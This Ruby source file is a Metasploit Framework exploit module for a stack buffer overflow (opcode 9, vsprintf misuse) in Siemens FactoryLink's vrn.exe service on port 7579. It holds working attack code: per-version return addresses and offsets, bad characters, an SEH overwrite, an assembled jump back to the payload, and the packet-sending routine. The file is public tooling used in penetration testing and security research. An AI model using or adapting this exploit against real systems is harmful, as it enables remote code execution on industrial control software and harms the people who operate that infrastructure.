96 lines
2.5 KiB
Ruby
96 lines
2.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Siemens FactoryLink vrn.exe Opcode 9 Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,
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and 8.0.1.703. By sending a specially crafted packet, an attacker may be able to
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execute arbitrary code due to the improper use of a vsprintf() function while
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processing the user-supplied text field. Originally found and posted by
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Luigi Auriemma.
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},
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'Author' =>
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[
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'Luigi Auriemma', # Public exploit
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'hal', # Metasploit module
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'MC', # SEH, badchars, etc
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['OSVDB', '72815'],
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['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt']
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Payload' =>
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{
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'Space' => 550,
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'BadChars' => "\x00\x20\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'Offset' => 994 } ],
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[ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'Offset' => 994 } ],
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[ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'Offset' => 998 } ],
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],
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'DisclosureDate' => 'Mar 21 2011'))
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register_options([Opt::RPORT(7579)], self.class)
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end
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def exploit
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header = "\x3f" * 4
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header << "\xff\x55"
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header << "\x09\x00" # opcode
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header << "\x3f\x3f\xff\xff"
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header << "\x00\x00\x3f\x3f"
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header << "\x01\x00"
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header << "\x3f" * 16
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header << "\x01\x00\x01\x00"
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header << "\x3f\x3f"
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data = rand_text_alpha_upper(65535)
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data[448, payload.encoded.length] = payload.encoded
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data[target['Offset'], 8] = generate_seh_record(target.ret)
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data[1006, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-524").encode_string
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print_status("Trying target #{target.name}...")
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connect
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sock.put(header + data)
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handler
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select(nil,nil,nil,1)
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disconnect
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end
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end
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